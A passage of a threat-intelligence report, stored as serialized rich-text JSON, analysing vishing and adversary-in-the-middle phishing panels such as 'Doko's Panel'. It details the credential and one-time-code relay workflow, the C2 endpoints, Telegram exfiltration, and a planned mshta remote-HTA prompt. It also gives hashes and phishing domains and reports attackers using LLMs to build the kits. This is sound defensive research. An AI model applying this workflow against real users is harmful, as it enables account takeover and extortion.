tooling. ",{"data":23253,"content":23254,"nodeType":866},{},[23255,23260],{"data":23256,"marks":23257,"value":23259,"nodeType":865},{},[23258],{"type":961},"We’ve directly accessed active deployments of the operator panels driving these campaigns, observed what happens in real-time when a victim is targeted, and analyzed multiple variants and forks of the tooling. ",{"data":23261,"marks":23262,"value":2157,"nodeType":865},{},[],{"data":23264,"content":23265,"nodeType":866},{},[23266],{"data":23267,"marks":23268,"value":23269,"nodeType":865},{},[],"We identified four primary infrastructure clusters, with each deployment having its own panel implementation. While the panels share common heritage, the operators deploying them appear to be separate groups with different infrastructure preferences and operational patterns.",{"data":23271,"content":23275,"nodeType":925},{"target":23272},{"sys":23273},{"id":23274,"type":922,"linkType":923},"5BQOpzjSbobLx8OkvXl6os",[],{"data":23277,"content":23278,"nodeType":866},{},[23279,23283],{"data":23280,"marks":23281,"value":23282,"nodeType":865},{},[],"The existence of these independently branded forks indicates that the tooling has entered a phase of wider distribution — operators who obtained the original panel source are now customizing and reshipping it for their own purposes. As a result, the tooling is now most likely accessible to a broad population of financially motivated threat actors. ",{"data":23284,"marks":23285,"value":23287,"nodeType":865},{},[23286],{"type":961},"In total, we’ve identified over 400 domains linked to the attacks, giving an indication of the scale. ",{"data":23289,"content":23293,"nodeType":925},{"target":23290},{"sys":23291},{"id":23292,"type":922,"linkType":923},"2Z1LUdYXVONWO9nnJTkWsJ",[],{"data":23295,"content":23296,"nodeType":953},{},[],{"data":23298,"content":23299,"nodeType":963},{},[23300],{"data":23301,"marks":23302,"value":23304,"nodeType":865},{},[23303],{"type":961},"Background",{"data":23306,"content":23307,"nodeType":866},{},[23308],{"data":23309,"marks":23310,"value":23311,"nodeType":865},{},[],"Since at least August 2025, attackers have been running hybrid social engineering campaigns targeting hundreds of organizations across financial services, technology, cryptocurrency, healthcare, hospitality, and private aviation. ",{"data":23313,"content":23314,"nodeType":1049},{},[23315,23330,23345,23360],{"data":23316,"content":23317,"nodeType":1003},{},[23318],{"data":23319,"content":23320,"nodeType":866},{},[23321,23326],{"data":23322,"marks":23323,"value":23325,"nodeType":865},{},[23324],{"type":961},"August 2025: ",{"data":23327,"marks":23328,"value":23329,"nodeType":865},{},[],"Tooling made available, used in crypto-focused attacks",{"data":23331,"content":23332,"nodeType":1003},{},[23333],{"data":23334,"content":23335,"nodeType":866},{},[23336,23341],{"data":23337,"marks":23338,"value":23340,"nodeType":865},{},[23339],{"type":961},"November 2025:",{"data":23342,"marks":23343,"value":23344,"nodeType":865},{},[]," Major attacks on enterprise identity platforms begin",{"data":23346,"content":23347,"nodeType":1003},{},[23348],{"data":23349,"content":23350,"nodeType":866},{},[23351,23356],{"data":23352,"marks":23353,"value":23355,"nodeType":865},{},[23354],{"type":961},"January 2026: ",{"data":23357,"marks":23358,"value":23359,"nodeType":865},{},[],"Public breaches reported",{"data":23361,"content":23362,"nodeType":1003},{},[23363],{"data":23364,"content":23365,"nodeType":866},{},[23366,23371],{"data":23367,"marks":23368,"value":23370,"nodeType":865},{},[23369],{"type":961},"March 2026: ",{"data":23372,"marks":23373,"value":23374,"nodeType":865},{},[],"Activity spikes again",{"data":23376,"content":23377,"nodeType":866},{},[23378],{"data":23379,"marks":23380,"value":23381,"nodeType":865},{},[],"The attacks combine voice phishing with MFA-bypassing adversary-in-the-middle (AiTM) phishing mechanisms that allow the attacker to steal authenticated sessions for target applications — typically enterprise identity providers and cryptocurrency exchanges. Once an identity provider account is compromised, the attackers pivot across connected SaaS platforms — SharePoint, Salesforce, DocuSign, Slack — exfiltrates data, and attempts to extort the victim organization. ",{"data":23383,"content":23387,"nodeType":925},{"target":23384},{"sys":23385},{"id":23386,"type":922,"linkType":923},"2X2YXMpozrbRQhegk7yF1k",[],{"data":23389,"content":23390,"nodeType":953},{},[],{"data":23392,"content":23393,"nodeType":963},{},[23394],{"data":23395,"marks":23396,"value":23398,"nodeType":865},{},[23397],{"type":961},"Inside the panels: what Push found",{"data":23400,"content":23401,"nodeType":866},{},[23402],{"data":23403,"marks":23404,"value":23405,"nodeType":865},{},[],"Push detected an active Okta phishing site with TTPs aligned to the tooling used by SLH and affiliated groups. Through analysis of the phishing infrastructure, we gained direct access to Doko’s Panel and variants, and were able to observe how these attacks unfold from the operator's perspective — including real victim submission logs from the current week confirming ongoing active operations.",{"data":23407,"content":23411,"nodeType":925},{"target":23408},{"sys":23409},{"id":23410,"type":922,"linkType":923},"5ND0etPs5xN7ejz24l71jy",[],{"data":23413,"content":23414,"nodeType":1458},{},[23415],{"data":23416,"marks":23417,"value":23419,"nodeType":865},{},[23418],{"type":961},"How the attack works",{"data":23421,"content":23422,"nodeType":866},{},[23423],{"data":23424,"marks":23425,"value":23426,"nodeType":865},{},[],"The general sequence of steps is the same across the panels:",{"data":23428,"content":23429,"nodeType":1049},{},[23430,23445,23460,23484,23499,23514,23538],{"data":23431,"content":23432,"nodeType":1003},{},[23433],{"data":23434,"content":23435,"nodeType":866},{},[23436,23441],{"data":23437,"marks":23438,"value":23440,"nodeType":865},{},[23439],{"type":961},"The operator calls the target",{"data":23442,"marks":23443,"value":23444,"nodeType":865},{},[]," spoofing the organization's IT helpdesk number, often referencing real employee names or internal ticket numbers to establish trust. The target is directed to a phishing domain — usually following a combosquatting pattern like my\u003Ctarget>internal[.]com or \u003Ctarget>sso[.]com — under the pretext of a mandatory security update, passkey enrollment, or support ticket resolution. ",{"data":23446,"content":23447,"nodeType":1003},{},[23448],{"data":23449,"content":23450,"nodeType":866},{},[23451,23456],{"data":23452,"marks":23453,"value":23455,"nodeType":865},{},[23454],{"type":961},"The victim lands on the phishing domain",{"data":23457,"marks":23458,"value":23459,"nodeType":865},{},[]," and is presented with a loading spinner — the anti-bot gate that prevents unauthorized access to the phishing pages.",{"data":23461,"content":23462,"nodeType":1003},{},[23463],{"data":23464,"content":23465,"nodeType":866},{},[23466,23471,23475,23480],{"data":23467,"marks":23468,"value":23470,"nodeType":865},{},[23469],{"type":961},"The operator accepts the visitor",{"data":23472,"marks":23473,"value":23474,"nodeType":865},{},[]," from the admin panel and ",{"data":23476,"marks":23477,"value":23479,"nodeType":865},{},[23478],{"type":961},"the victim is redirected",{"data":23481,"marks":23482,"value":23483,"nodeType":865},{},[]," to the cloned login page (e.g. Google, Microsoft, Okta).",{"data":23485,"content":23486,"nodeType":1003},{},[23487],{"data":23488,"content":23489,"nodeType":866},{},[23490,23495],{"data":23491,"marks":23492,"value":23494,"nodeType":865},{},[23493],{"type":961},"The victim enters their email address and password",{"data":23496,"marks":23497,"value":23498,"nodeType":865},{},[],", which is forwarded to the operator's Telegram channel. The victim sees a processing spinner on the branded login form.",{"data":23500,"content":23501,"nodeType":1003},{},[23502],{"data":23503,"content":23504,"nodeType":866},{},[23505,23510],{"data":23506,"marks":23507,"value":23509,"nodeType":865},{},[23508],{"type":961},"The operator relays the credentials",{"data":23511,"marks":23512,"value":23513,"nodeType":865},{},[]," to the real identity provider. If they're valid, the attack proceeds. If they're invalid, the operator can redirect the victim back to the credential entry pages. Assuming MFA is required, the operator issues a redirect to an appropriate MFA capture page — \"Submit SMS OTP,\" \"Submit Gauth OTP,\" or \"Approve [XX] Prompt,\" depending on what the legitimate IdP is presenting.",{"data":23515,"content":23516,"nodeType":1003},{},[23517],{"data":23518,"content":23519,"nodeType":866},{},[23520,23525,23529,23534],{"data":23521,"marks":23522,"value":23524,"nodeType":865},{},[23523],{"type":961},"The victim submits their OTP or approves the push notification ",{"data":23526,"marks":23527,"value":23528,"nodeType":865},{},[],"and",{"data":23530,"marks":23531,"value":23533,"nodeType":865},{},[23532],{"type":961}," the operator relays the OTP",{"data":23535,"marks":23536,"value":23537,"nodeType":865},{},[]," in their own login session, completes authentication, and captures the session. ",{"data":23539,"content":23540,"nodeType":1003},{},[23541],{"data":23542,"content":23543,"nodeType":866},{},[23544,23549],{"data":23545,"marks":23546,"value":23548,"nodeType":865},{},[23547],{"type":961},"The victim is redirected to a benign page",{"data":23550,"marks":23551,"value":23552,"nodeType":865},{},[]," (e.g., Google Drive) or to a support ticket closure screen displaying a fabricated ticket number.",{"data":23554,"content":23558,"nodeType":925},{"target":23555},{"sys":23556},{"id":23557,"type":922,"linkType":923},"1o0wm3EOd7zSl5MddsNxgL",[],{"data":23560,"content":23564,"nodeType":925},{"target":23561},{"sys":23562},{"id":23563,"type":922,"linkType":923},"7w7SQEn3aITpcgXLMThhbS",[],{"data":23566,"content":23567,"nodeType":866},{},[23568],{"data":23569,"marks":23570,"value":21,"nodeType":865},{},[],{"data":23572,"content":23576,"nodeType":925},{"target":23573},{"sys":23574},{"id":23575,"type":922,"linkType":923},"PJJabY1ZfoCfl8XQ6PMj2",[],{"data":23578,"content":23579,"nodeType":1458},{},[23580],{"data":23581,"marks":23582,"value":23584,"nodeType":865},{},[23583],{"type":961},"Doko’s Panel",{"data":23586,"content":23587,"nodeType":866},{},[23588],{"data":23589,"marks":23590,"value":23591,"nodeType":865},{},[],"Let’s take a closer look at the panels themselves. We'll start with the default version of Doko's Panel since it’s the most established. It provides a multi-functional framework targeting users of Google, Microsoft Entra, Okta, and popular cryptocurrency exchanges including Abra, Coinbase, Gemini, and Kraken. Its core functionality resides in a client-side JavaScript file (client.js) that establishes the real-time feedback loop between the victim's browser and the operator's C2.",{"data":23593,"content":23594,"nodeType":866},{},[23595],{"data":23596,"marks":23597,"value":23598,"nodeType":865},{},[],"The technical indicators that characterize Doko's Panel in its standard form include:",{"data":23600,"content":23601,"nodeType":1049},{},[23602,23617,23632,23647],{"data":23603,"content":23604,"nodeType":1003},{},[23605],{"data":23606,"content":23607,"nodeType":866},{},[23608,23613],{"data":23609,"marks":23610,"value":23612,"nodeType":865},{},[23611],{"type":961},"client.js",{"data":23614,"marks":23615,"value":23616,"nodeType":865},{},[]," containing a pingServer() function that sends a JSON POST request to /backend.php every second with the structure { action: 'ping', token, window_id, page, os, browser }. If the response contains a redirect key, the victim's browser navigates to that path. ",{"data":23618,"content":23619,"nodeType":1003},{},[23620],{"data":23621,"content":23622,"nodeType":866},{},[23623,23628],{"data":23624,"marks":23625,"value":23627,"nodeType":865},{},[23626],{"type":961},"sendTelegramMessage()",{"data":23629,"marks":23630,"value":23631,"nodeType":865},{},[]," (aliased to sendtg()), a function for relaying real-time credential submissions and session updates to the operator's Telegram channel.",{"data":23633,"content":23634,"nodeType":1003},{},[23635],{"data":23636,"content":23637,"nodeType":866},{},[23638,23643],{"data":23639,"marks":23640,"value":23642,"nodeType":865},{},[23641],{"type":961},"backend.php",{"data":23644,"marks":23645,"value":23646,"nodeType":865},{},[]," as the primary server-side handler for both victim ping actions and admin panel operations (retrieving connected victim information, sending redirect instructions).",{"data":23648,"content":23649,"nodeType":1003},{},[23650],{"data":23651,"content":23652,"nodeType":866},{},[23653,23658],{"data":23654,"marks":23655,"value":23657,"nodeType":865},{},[23656],{"type":961},"j.php",{"data":23659,"marks":23660,"value":23661,"nodeType":865},{},[]," as the endpoint for sending Telegram messages, relaying captured credentials and session logs.",{"data":23663,"content":23664,"nodeType":866},{},[23665],{"data":23666,"marks":23667,"value":23668,"nodeType":865},{},[],"Push found that deployments of Doko's Panel had minimal security by default — anyone was able to view the admin panel and manage visitors' connections without authentication.",{"data":23670,"content":23674,"nodeType":925},{"target":23671},{"sys":23672},{"id":23673,"type":922,"linkType":923},"3glwGSGHdCpf3DLqNmQqN8",[],{"data":23676,"content":23680,"nodeType":925},{"target":23677},{"sys":23678},{"id":23679,"type":922,"linkType":923},"20ymWIXMkmJlw7XYb93c9o",[],{"data":23682,"content":23683,"nodeType":1458},{},[23684],{"data":23685,"marks":23686,"value":23688,"nodeType":865},{},[23687],{"type":961},"Panel proliferation and remixes",{"data":23690,"content":23691,"nodeType":866},{},[23692],{"data":23693,"marks":23694,"value":23695,"nodeType":865},{},[],"Access to Doko's Panel has clearly proliferated beyond its original developers, resulting in remixes and variants being distributed across the ecosystem. Push identified a variant titled \"Lord Mensius's Panel\" targeting Koinly (a cryptocurrency tax platform), and another titled \"$$$\" using a template impersonating the Australian Tax Office, also targeting cryptocurrency tax filing. ",{"data":23697,"content":23698,"nodeType":866},{},[23699],{"data":23700,"marks":23701,"value":23702,"nodeType":865},{},[],"The existence of these independently branded forks indicates that the tooling has entered a phase of wider distribution — operators who obtained the original panel source are now customizing and reshipping it for their own purposes. As a result, the tooling is now accessible to a broad population of financially motivated threat actors. ",{"data":23704,"content":23705,"nodeType":1458},{},[23706],{"data":23707,"marks":23708,"value":23710,"nodeType":865},{},[23709],{"type":961},"heartbeat/check_redirect variant",{"data":23712,"content":23713,"nodeType":866},{},[23714],{"data":23715,"marks":23716,"value":23717,"nodeType":865},{},[],"In addition to Doko’s Panel and its forks, the site initially detected by Push used a modified variant of Doko's Panel with a different C2 protocol. Rather than the standard ping action, this variant sent two types of regular requests from client.js to the backend:",{"data":23719,"content":23720,"nodeType":1049},{},[23721,23736],{"data":23722,"content":23723,"nodeType":1003},{},[23724],{"data":23725,"content":23726,"nodeType":866},{},[23727,23732],{"data":23728,"marks":23729,"value":23731,"nodeType":865},{},[23730],{"type":961},"Heartbeat",{"data":23733,"marks":23734,"value":23735,"nodeType":865},{},[]," — POST to backend.php with action=heartbeat along with page, token, and window_id.",{"data":23737,"content":23738,"nodeType":1003},{},[23739],{"data":23740,"content":23741,"nodeType":866},{},[23742,23747],{"data":23743,"marks":23744,"value":23746,"nodeType":865},{},[23745],{"type":961},"Check Redirect",{"data":23748,"marks":23749,"value":23750,"nodeType":865},{},[]," — GET to backend.php with parameters action=check_redirect along with token and window_id.",{"data":23752,"content":23753,"nodeType":866},{},[23754],{"data":23755,"marks":23756,"value":23757,"nodeType":865},{},[],"A redirect instruction in response to either request causes the victim's browser to navigate to the specified page. The variant compounds this with a separate inline script embedded in the landing gate HTML — in addition to client.js — that schedules its own sendHeartbeat() and checkRedirect() functions on regular intervals. ",{"data":23759,"content":23763,"nodeType":925},{"target":23760},{"sys":23761},{"id":23762,"type":922,"linkType":923},"6zRc9ublZvEQCxcWtMBSnF",[],{"data":23765,"content":23766,"nodeType":866},{},[23767],{"data":23768,"marks":23769,"value":23770,"nodeType":865},{},[],"Additional technical differentiators for this variant include:",{"data":23772,"content":23773,"nodeType":1049},{},[23774,23789,23804],{"data":23775,"content":23776,"nodeType":1003},{},[23777],{"data":23778,"content":23779,"nodeType":866},{},[23780,23785],{"data":23781,"marks":23782,"value":23784,"nodeType":865},{},[23783],{"type":961},"UUID generation",{"data":23786,"marks":23787,"value":23788,"nodeType":865},{},[]," using Math.random() to replace x in the template xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx, rather than the original Doko's Panel method of constructing a template from [1e7]+-1e3+-4e3+-8e3+-1e11 and replacing [018].",{"data":23790,"content":23791,"nodeType":1003},{},[23792],{"data":23793,"content":23794,"nodeType":866},{},[23795,23800],{"data":23796,"marks":23797,"value":23799,"nodeType":865},{},[23798],{"type":961},"No central Telegram sending function",{"data":23801,"marks":23802,"value":23803,"nodeType":865},{},[],", though j.php still exists and is called from inline scripts on individual phishing pages.",{"data":23805,"content":23806,"nodeType":1003},{},[23807],{"data":23808,"content":23809,"nodeType":866},{},[23810,23815],{"data":23811,"marks":23812,"value":23814,"nodeType":865},{},[23813],{"type":961},"No use of FNV-1a",{"data":23816,"marks":23817,"value":23818,"nodeType":865},{},[]," to hash-generate the window ID.",{"data":23820,"content":23821,"nodeType":866},{},[23822],{"data":23823,"marks":23824,"value":23825,"nodeType":865},{},[],"Push also found sub-variants hosting Okta phishing pages with additional modifications: a minified client.js script, and a renamed backend endpoint (api_FyekIDWY.php replacing backend.php).",{"data":23827,"content":23828,"nodeType":1458},{},[23829],{"data":23830,"marks":23831,"value":23833,"nodeType":865},{},[23832],{"type":961},"Revamped admin panel",{"data":23835,"content":23836,"nodeType":866},{},[23837],{"data":23838,"marks":23839,"value":23840,"nodeType":865},{},[],"Push also found examples of a significantly revamped admin panel, including a version from April 2026 specifically targeting Microsoft as an enterprise identity provider. ",{"data":23842,"content":23846,"nodeType":925},{"target":23843},{"sys":23844},{"id":23845,"type":922,"linkType":923},"3ufb4cotpg0f7yoIQJnND0",[],{"data":23848,"content":23849,"nodeType":866},{},[23850],{"data":23851,"marks":23852,"value":23853,"nodeType":865},{},[],"This panel featured a more sophisticated operator interface with an updated look, quick action buttons, and sound notifications.",{"data":23855,"content":23856,"nodeType":866},{},[23857],{"data":23858,"marks":23859,"value":23860,"nodeType":865},{},[],"In addition to the standard compromise flow for acquiring email, password, and OTP, this panel provided operator actions for sending Microsoft Teams call instructions to the victim — a Meeting ID and Passcode rendered on a branded page. This capability likely enables further interaction through a channel that supports screensharing, extending the attacker's reach beyond credential theft into live session manipulation. It also has the potential to make the scenario more believable for the victim.",{"data":23862,"content":23866,"nodeType":925},{"target":23863},{"sys":23864},{"id":23865,"type":922,"linkType":923},"4pg65d1SvTJA3xm6AsxZBp",[],{"data":23868,"content":23869,"nodeType":866},{},[23870],{"data":23871,"marks":23872,"value":23873,"nodeType":865},{},[],"Other capabilities were referenced in the panel's source code but did not appear active in the observed deployment:",{"data":23875,"content":23876,"nodeType":1049},{},[23877,23892],{"data":23878,"content":23879,"nodeType":1003},{},[23880],{"data":23881,"content":23882,"nodeType":866},{},[23883,23888],{"data":23884,"marks":23885,"value":23887,"nodeType":865},{},[23886],{"type":961},"Additional MFA approval pages",{"data":23889,"marks":23890,"value":23891,"nodeType":865},{},[]," for Duo and Okta, with the operator providing a code to display to the victim.",{"data":23893,"content":23894,"nodeType":1003},{},[23895],{"data":23896,"content":23897,"nodeType":866},{},[23898,23903],{"data":23899,"marks":23900,"value":23902,"nodeType":865},{},[23901],{"type":961},"A code execution prompt",{"data":23904,"marks":23905,"value":23906,"nodeType":865},{},[]," to instruct the victim to run a command — the placeholder example being mshta to execute a remote HTA file, suggesting a potential bridge from identity compromise into malware delivery.",{"data":23908,"content":23909,"nodeType":866},{},[23910],{"data":23911,"marks":23912,"value":23913,"nodeType":865},{},[],"The admin panel also included settings for restricting access to specific geographic locations and device types, allowing operators to refine their campaign targeting and also avoid detection from unusual devices (often an indicator that the visitor is not a real human and is actually a security tool or bot).",{"data":23915,"content":23919,"nodeType":925},{"target":23916},{"sys":23917},{"id":23918,"type":922,"linkType":923},"1hebGtxbkyuejWXczwx5n6",[],{"data":23921,"content":23922,"nodeType":953},{},[],{"data":23924,"content":23925,"nodeType":963},{},[23926],{"data":23927,"marks":23928,"value":23930,"nodeType":865},{},[23929],{"type":961},"LLM-generated tells: vibe-coded phishing infrastructure",{"data":23932,"content":23933,"nodeType":866},{},[23934],{"data":23935,"marks":23936,"value":23937,"nodeType":865},{},[],"Evidence of extensive LLM use is extremely prevalent in attacks detected by Push, from LLM-generated phishing kits and tools to vibe-coded cloned pages. Attackers have also been observed leveraging AI–assisted capabilities in SaaS platforms to automate and scale-up their campaigns from an infrastructure and operations perspective. ",{"data":23939,"content":23940,"nodeType":866},{},[23941],{"data":23942,"marks":23943,"value":23944,"nodeType":865},{},[],"The ‘heartbeat’ variant in particular has significant tells of heavy use of LLMs to modify the phishing panel for the operator’s needs. The fact that these are so blatant increases the belief that these tools are being vibe-coded by relatively inexperienced developers with limited regard for operational security.",{"data":23946,"content":23947,"nodeType":866},{},[23948],{"data":23949,"marks":23950,"value":23951,"nodeType":865},{},[],"Some versions of client.js begin with verbose header comments that no human developer would write:",{"data":23953,"content":23956,"nodeType":925},{"target":23954},{"sys":23955},{"id":11042,"type":922,"linkType":923},[],{"data":23958,"content":23959,"nodeType":866},{},[23960],{"data":23961,"marks":23962,"value":23963,"nodeType":865},{},[],"The \"NOTES FOR NEXT SESSION\" header is particularly telling — it's a pattern generated by LLMs that maintain context between chat sessions, not a convention any human developer would adopt in production code, let alone in a phishing kit where operational security should discourage self-documenting infrastructure.",{"data":23965,"content":23966,"nodeType":866},{},[23967],{"data":23968,"marks":23969,"value":23970,"nodeType":865},{},[],"The admin panel HTML contains similarly over-documented opening comments:",{"data":23972,"content":23976,"nodeType":925},{"target":23973},{"sys":23974},{"id":23975,"type":922,"linkType":923},"60snRhz0RIsvLI6OU9RDOk",[],{"data":23978,"content":23979,"nodeType":866},{},[23980],{"data":23981,"marks":23982,"value":23983,"nodeType":865},{},[],"One of the Okta cloned login pages observed by Push contained the following comments suggesting the use of an LLM to create the clone:",{"data":23985,"content":23989,"nodeType":925},{"target":23986},{"sys":23987},{"id":23988,"type":922,"linkType":923},"1WCd5LQ6cfPf1IsNAhPSIT",[],{"data":23991,"content":23992,"nodeType":866},{},[23993],{"data":23994,"marks":23995,"value":23996,"nodeType":865},{},[],"The cloned Microsoft login pages displayed previously contain terser comments, but still typical of useless comments that are included by an LLM rather than a human author, especially a malware/phishing author:",{"data":23998,"content":24002,"nodeType":925},{"target":23999},{"sys":24000},{"id":24001,"type":922,"linkType":923},"6WN59mkiscNmAt8dmOR81c",[],{"data":24004,"content":24005,"nodeType":866},{},[24006],{"data":24007,"marks":24008,"value":24009,"nodeType":865},{},[],"The broken duplication in the heartbeat variant — where an inline script and client.js independently schedule the same backend requests using slightly different data formats — is consistent with an operator pasting requirements into an LLM and accepting the output without understanding the existing codebase well enough to recognize the redundancy.",{"data":24011,"content":24012,"nodeType":866},{},[24013],{"data":24014,"marks":24015,"value":24016,"nodeType":865},{},[],"Clearly, the barrier to entry for building (or forking) and operating a real-time vishing phishing panel is lower than the effectiveness of the tooling might suggest.",{"data":24018,"content":24019,"nodeType":953},{},[],{"data":24021,"content":24022,"nodeType":963},{},[24023],{"data":24024,"marks":24025,"value":24027,"nodeType":865},{},[24026],{"type":961},"Infrastructure clustering and attribution",{"data":24029,"content":24030,"nodeType":866},{},[24031,24035,24040],{"data":24032,"marks":24033,"value":24034,"nodeType":865},{},[],"Through analysis of phishing domains, hosting infrastructure, and technical indicators in the panel source code, ",{"data":24036,"marks":24037,"value":24039,"nodeType":865},{},[24038],{"type":961},"we’re highlighting four distinct infrastructure clusters associated with this tooling. ",{"data":24041,"marks":24042,"value":24043,"nodeType":865},{},[],"While the panels share common heritage, the operators deploying them appear to be separate groups with different infrastructure preferences and operational patterns.",{"data":24045,"content":24046,"nodeType":1458},{},[24047],{"data":24048,"marks":24049,"value":24050,"nodeType":865},{},[],"Cluster A",{"data":24052,"content":24053,"nodeType":866},{},[24054,24058,24067],{"data":24055,"marks":24056,"value":24057,"nodeType":865},{},[],"The indicators for Cluster A overlap with ",{"data":24059,"content":24061,"nodeType":882},{"uri":24060},"https://cloud.google.com/blog/topics/threat-intelligence/expansion-shinyhunters-saas-data-theft",[24062],{"data":24063,"marks":24064,"value":24066,"nodeType":865},{},[24065],{"type":997},"Mandiant’s reporting on UNC6661",{"data":24068,"marks":24069,"value":24070,"nodeType":865},{},[],". Mandiant also attributes the extortion activity following UNC6661 intrusions to UNC6240, aka ShinyHunters.",{"data":24072,"content":24073,"nodeType":2396},{},[24074,24098,24127,24150,24201,24245,24268,24291],{"data":24075,"content":24076,"nodeType":1869},{},[24077,24088],{"data":24078,"content":24079,"nodeType":1835},{},[24080],{"data":24081,"content":24082,"nodeType":866},{},[24083],{"data":24084,"marks":24085,"value":24087,"nodeType":865},{},[24086],{"type":961},"Tool",{"data":24089,"content":24090,"nodeType":1835},{},[24091],{"data":24092,"content":24093,"nodeType":866},{},[24094],{"data":24095,"marks":24096,"value":23584,"nodeType":865},{},[24097],{"type":961},{"data":24099,"content":24100,"nodeType":1869},{},[24101,24110],{"data":24102,"content":24103,"nodeType":1835},{},[24104],{"data":24105,"content":24106,"nodeType":866},{},[24107],{"data":24108,"marks":24109,"value":23612,"nodeType":865},{},[],{"data":24111,"content":24112,"nodeType":1835},{},[24113,24120],{"data":24114,"content":24115,"nodeType":866},{},[24116],{"data":24117,"marks":24118,"value":24119,"nodeType":865},{},[],"8a01bcb70ec1c101a163c9cb8e074781c1322096f7ae01789f02252854def44c",{"data":24121,"content":24122,"nodeType":866},{},[24123],{"data":24124,"marks":24125,"value":24126,"nodeType":865},{},[],"f574b6e6b3a968cda5f51bec2c090d8eb095fbcfc383314f94bc15676a0d6692",{"data":24128,"content":24129,"nodeType":1869},{},[24130,24140],{"data":24131,"content":24132,"nodeType":1835},{},[24133],{"data":24134,"content":24135,"nodeType":866},{},[24136],{"data":24137,"marks":24138,"value":24139,"nodeType":865},{},[],"Timeframe",{"data":24141,"content":24142,"nodeType":1835},{},[24143],{"data":24144,"content":24145,"nodeType":866},{},[24146],{"data":24147,"marks":24148,"value":24149,"nodeType":865},{},[],"November 2025 - present (April 2026)",{"data":24151,"content":24152,"nodeType":1869},{},[24153,24163],{"data":24154,"content":24155,"nodeType":1835},{},[24156],{"data":24157,"content":24158,"nodeType":866},{},[24159],{"data":24160,"marks":24161,"value":24162,"nodeType":865},{},[],"Domain Patterns",{"data":24164,"content":24165,"nodeType":1835},{},[24166,24173,24180,24187,24194],{"data":24167,"content":24168,"nodeType":866},{},[24169],{"data":24170,"marks":24171,"value":24172,"nodeType":865},{},[],"\u003Ctarget>internal.com\n\u003Ctarget>sso.com",{"data":24174,"content":24175,"nodeType":866},{},[24176],{"data":24177,"marks":24178,"value":24179,"nodeType":865},{},[],"my\u003Ctarget>.com",{"data":24181,"content":24182,"nodeType":866},{},[24183],{"data":24184,"marks":24185,"value":24186,"nodeType":865},{},[],"my\u003Ctarget>internal.com",{"data":24188,"content":24189,"nodeType":866},{},[24190],{"data":24191,"marks":24192,"value":24193,"nodeType":865},{},[],"my\u003Ctarget>manager.com",{"data":24195,"content":24196,"nodeType":866},{},[24197],{"data":24198,"marks":24199,"value":24200,"nodeType":865},{},[],"my\u003Ctarget>sso.com",{"data":24202,"content":24203,"nodeType":1869},{},[24204,24214],{"data":24205,"content":24206,"nodeType":1835},{},[24207],{"data":24208,"content":24209,"nodeType":866},{},[24210],{"data":24211,"marks":24212,"value":24213,"nodeType":865},{},[],"Examples",{"data":24215,"content":24216,"nodeType":1835},{},[24217,24224,24231,24238],{"data":24218,"content":24219,"nodeType":866},{},[24220],{"data":24221,"marks":24222,"value":24223,"nodeType":865},{},[],"mydropboxinternal.com (November 2025)",{"data":24225,"content":24226,"nodeType":866},{},[24227],{"data":24228,"marks":24229,"value":24230,"nodeType":865},{},[],"myxerointernal.com (December 2025)",{"data":24232,"content":24233,"nodeType":866},{},[24234],{"data":24235,"marks":24236,"value":24237,"nodeType":865},{},[],"amazoninternal.com (March 2026)",{"data":24239,"content":24240,"nodeType":866},{},[24241],{"data":24242,"marks":24243,"value":24244,"nodeType":865},{},[],"mydisneysso.com (March 2026)",{"data":24246,"content":24247,"nodeType":1869},{},[24248,24258],{"data":24249,"content":24250,"nodeType":1835},{},[24251],{"data":24252,"content":24253,"nodeType":866},{},[24254],{"data":24255,"marks":24256,"value":24257,"nodeType":865},{},[],"Registrar",{"data":24259,"content":24260,"nodeType":1835},{},[24261],{"data":24262,"content":24263,"nodeType":866},{},[24264],{"data":24265,"marks":24266,"value":24267,"nodeType":865},{},[],"NiceNIC",{"data":24269,"content":24270,"nodeType":1869},{},[24271,24281],{"data":24272,"content":24273,"nodeType":1835},{},[24274],{"data":24275,"content":24276,"nodeType":866},{},[24277],{"data":24278,"marks":24279,"value":24280,"nodeType":865},{},[],"Name Servers",{"data":24282,"content":24283,"nodeType":1835},{},[24284],{"data":24285,"content":24286,"nodeType":866},{},[24287],{"data":24288,"marks":24289,"value":24290,"nodeType":865},{},[],"1984.is FreeDNS",{"data":24292,"content":24293,"nodeType":1869},{},[24294,24304],{"data":24295,"content":24296,"nodeType":1835},{},[24297],{"data":24298,"content":24299,"nodeType":866},{},[24300],{"data":24301,"marks":24302,"value":24303,"nodeType":865},{},[],"Hosting Provider",{"data":24305,"content":24306,"nodeType":1835},{},[24307],{"data":24308,"content":24309,"nodeType":866},{},[24310],{"data":24311,"marks":24312,"value":24313,"nodeType":865},{},[],"Mevspace (AS201814)",{"data":24315,"content":24316,"nodeType":1458},{},[24317],{"data":24318,"marks":24319,"value":24320,"nodeType":865},{},[],"Cluster B",{"data":24322,"content":24323,"nodeType":866},{},[24324,24328,24336,24339,24348],{"data":24325,"marks":24326,"value":24327,"nodeType":865},{},[],"The indicators for Cluster B overlap with ",{"data":24329,"content":24330,"nodeType":882},{"uri":24060},[24331],{"data":24332,"marks":24333,"value":24335,"nodeType":865},{},[24334],{"type":997},"Mandiant’s reporting on UNC6671",{"data":24337,"marks":24338,"value":10349,"nodeType":865},{},[],{"data":24340,"content":24342,"nodeType":882},{"uri":24341},"https://rhisac.org/threat-intelligence/extortion-in-the-enterprise-defending-against-blackfile-attacks/",[24343],{"data":24344,"marks":24345,"value":24347,"nodeType":865},{},[24346],{"type":997},"Other external reporting",{"data":24349,"marks":24350,"value":24351,"nodeType":865},{},[]," has linked this group to BlackFile-branded extortion and 